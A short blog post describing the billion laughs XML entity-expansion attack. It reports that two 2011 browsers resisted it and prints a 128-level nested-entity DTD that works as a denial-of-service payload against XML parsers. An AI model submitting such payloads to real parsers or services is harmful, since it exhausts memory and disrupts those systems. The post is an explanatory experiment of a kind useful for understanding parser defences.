Billion Laughs Attack

The billion laughs attack is a delightfully simple attack on XML parsers. Consider this code borrowed from, which, to render correctly, would require about 2130 bytes of RAM. I wager this is more RAM than in all the computers that currently exist.

<!DOCTYPE root [
 <!ENTITY ha "Ha! ">
 <!ENTITY ha2 "&ha; &ha;">
 <!ENTITY ha3 "&ha2; &ha2;">
 <!ENTITY ha4 "&ha3; &ha3;">
 <!ENTITY ha5 "&ha4; &ha4;">
 <!ENTITY ha128 "&ha127; &ha127;">

It appears that Firefox 3.6.18 (Linux) and Chrome 14.0.797.0 dev (Linux) are safe from this attack, with similar diagnostic messages. The results:



The rendered page was blank. Here are links to the XML used for the test and to the Java program that generated the XML. Load the XML at your own risk. Below is a benign rendering of the XML.

<!DOCTYPE root [
  <!ENTITY ha0 "Ha! ">
  <!ENTITY ha1 "&ha0; &ha0;">
  <!ENTITY ha2 "&ha1; &ha1;">
  <!ENTITY ha3 "&ha2; &ha2;">
  <!ENTITY ha4 "&ha3; &ha3;">
  <!ENTITY ha5 "&ha4; &ha4;">
  <!ENTITY ha6 "&ha5; &ha5;">
  <!ENTITY ha7 "&ha6; &ha6;">
  <!ENTITY ha8 "&ha7; &ha7;">
  <!ENTITY ha9 "&ha8; &ha8;">
  <!ENTITY ha10 "&ha9; &ha9;">
  <!ENTITY ha11 "&ha10; &ha10;">
  <!ENTITY ha12 "&ha11; &ha11;">
  <!ENTITY ha13 "&ha12; &ha12;">
  <!ENTITY ha14 "&ha13; &ha13;">
  <!ENTITY ha15 "&ha14; &ha14;">
  <!ENTITY ha16 "&ha15; &ha15;">
  <!ENTITY ha17 "&ha16; &ha16;">
  <!ENTITY ha18 "&ha17; &ha17;">
  <!ENTITY ha19 "&ha18; &ha18;">
  <!ENTITY ha20 "&ha19; &ha19;">
  <!ENTITY ha21 "&ha20; &ha20;">
  <!ENTITY ha22 "&ha21; &ha21;">
  <!ENTITY ha23 "&ha22; &ha22;">
  <!ENTITY ha24 "&ha23; &ha23;">
  <!ENTITY ha25 "&ha24; &ha24;">
  <!ENTITY ha26 "&ha25; &ha25;">
  <!ENTITY ha27 "&ha26; &ha26;">
  <!ENTITY ha28 "&ha27; &ha27;">
  <!ENTITY ha29 "&ha28; &ha28;">
  <!ENTITY ha30 "&ha29; &ha29;">
  <!ENTITY ha31 "&ha30; &ha30;">
  <!ENTITY ha32 "&ha31; &ha31;">
  <!ENTITY ha33 "&ha32; &ha32;">
  <!ENTITY ha34 "&ha33; &ha33;">
  <!ENTITY ha35 "&ha34; &ha34;">
  <!ENTITY ha36 "&ha35; &ha35;">
  <!ENTITY ha37 "&ha36; &ha36;">
  <!ENTITY ha38 "&ha37; &ha37;">
  <!ENTITY ha39 "&ha38; &ha38;">
  <!ENTITY ha40 "&ha39; &ha39;">
  <!ENTITY ha41 "&ha40; &ha40;">
  <!ENTITY ha42 "&ha41; &ha41;">
  <!ENTITY ha43 "&ha42; &ha42;">
  <!ENTITY ha44 "&ha43; &ha43;">
  <!ENTITY ha45 "&ha44; &ha44;">
  <!ENTITY ha46 "&ha45; &ha45;">
  <!ENTITY ha47 "&ha46; &ha46;">
  <!ENTITY ha48 "&ha47; &ha47;">
  <!ENTITY ha49 "&ha48; &ha48;">
  <!ENTITY ha50 "&ha49; &ha49;">
  <!ENTITY ha51 "&ha50; &ha50;">
  <!ENTITY ha52 "&ha51; &ha51;">
  <!ENTITY ha53 "&ha52; &ha52;">
  <!ENTITY ha54 "&ha53; &ha53;">
  <!ENTITY ha55 "&ha54; &ha54;">
  <!ENTITY ha56 "&ha55; &ha55;">
  <!ENTITY ha57 "&ha56; &ha56;">
  <!ENTITY ha58 "&ha57; &ha57;">
  <!ENTITY ha59 "&ha58; &ha58;">
  <!ENTITY ha60 "&ha59; &ha59;">
  <!ENTITY ha61 "&ha60; &ha60;">
  <!ENTITY ha62 "&ha61; &ha61;">
  <!ENTITY ha63 "&ha62; &ha62;">
  <!ENTITY ha64 "&ha63; &ha63;">
  <!ENTITY ha65 "&ha64; &ha64;">
  <!ENTITY ha66 "&ha65; &ha65;">
  <!ENTITY ha67 "&ha66; &ha66;">
  <!ENTITY ha68 "&ha67; &ha67;">
  <!ENTITY ha69 "&ha68; &ha68;">
  <!ENTITY ha70 "&ha69; &ha69;">
  <!ENTITY ha71 "&ha70; &ha70;">
  <!ENTITY ha72 "&ha71; &ha71;">
  <!ENTITY ha73 "&ha72; &ha72;">
  <!ENTITY ha74 "&ha73; &ha73;">
  <!ENTITY ha75 "&ha74; &ha74;">
  <!ENTITY ha76 "&ha75; &ha75;">
  <!ENTITY ha77 "&ha76; &ha76;">
  <!ENTITY ha78 "&ha77; &ha77;">
  <!ENTITY ha79 "&ha78; &ha78;">
  <!ENTITY ha80 "&ha79; &ha79;">
  <!ENTITY ha81 "&ha80; &ha80;">
  <!ENTITY ha82 "&ha81; &ha81;">
  <!ENTITY ha83 "&ha82; &ha82;">
  <!ENTITY ha84 "&ha83; &ha83;">
  <!ENTITY ha85 "&ha84; &ha84;">
  <!ENTITY ha86 "&ha85; &ha85;">
  <!ENTITY ha87 "&ha86; &ha86;">
  <!ENTITY ha88 "&ha87; &ha87;">
  <!ENTITY ha89 "&ha88; &ha88;">
  <!ENTITY ha90 "&ha89; &ha89;">
  <!ENTITY ha91 "&ha90; &ha90;">
  <!ENTITY ha92 "&ha91; &ha91;">
  <!ENTITY ha93 "&ha92; &ha92;">
  <!ENTITY ha94 "&ha93; &ha93;">
  <!ENTITY ha95 "&ha94; &ha94;">
  <!ENTITY ha96 "&ha95; &ha95;">
  <!ENTITY ha97 "&ha96; &ha96;">
  <!ENTITY ha98 "&ha97; &ha97;">
  <!ENTITY ha99 "&ha98; &ha98;">
  <!ENTITY ha100 "&ha99; &ha99;">
  <!ENTITY ha101 "&ha100; &ha100;">
  <!ENTITY ha102 "&ha101; &ha101;">
  <!ENTITY ha103 "&ha102; &ha102;">
  <!ENTITY ha104 "&ha103; &ha103;">
  <!ENTITY ha105 "&ha104; &ha104;">
  <!ENTITY ha106 "&ha105; &ha105;">
  <!ENTITY ha107 "&ha106; &ha106;">
  <!ENTITY ha108 "&ha107; &ha107;">
  <!ENTITY ha109 "&ha108; &ha108;">
  <!ENTITY ha110 "&ha109; &ha109;">
  <!ENTITY ha111 "&ha110; &ha110;">
  <!ENTITY ha112 "&ha111; &ha111;">
  <!ENTITY ha113 "&ha112; &ha112;">
  <!ENTITY ha114 "&ha113; &ha113;">
  <!ENTITY ha115 "&ha114; &ha114;">
  <!ENTITY ha116 "&ha115; &ha115;">
  <!ENTITY ha117 "&ha116; &ha116;">
  <!ENTITY ha118 "&ha117; &ha117;">
  <!ENTITY ha119 "&ha118; &ha118;">
  <!ENTITY ha120 "&ha119; &ha119;">
  <!ENTITY ha121 "&ha120; &ha120;">
  <!ENTITY ha122 "&ha121; &ha121;">
  <!ENTITY ha123 "&ha122; &ha122;">
  <!ENTITY ha124 "&ha123; &ha123;">
  <!ENTITY ha125 "&ha124; &ha124;">
  <!ENTITY ha126 "&ha125; &ha125;">
  <!ENTITY ha127 "&ha126; &ha126;">
] >
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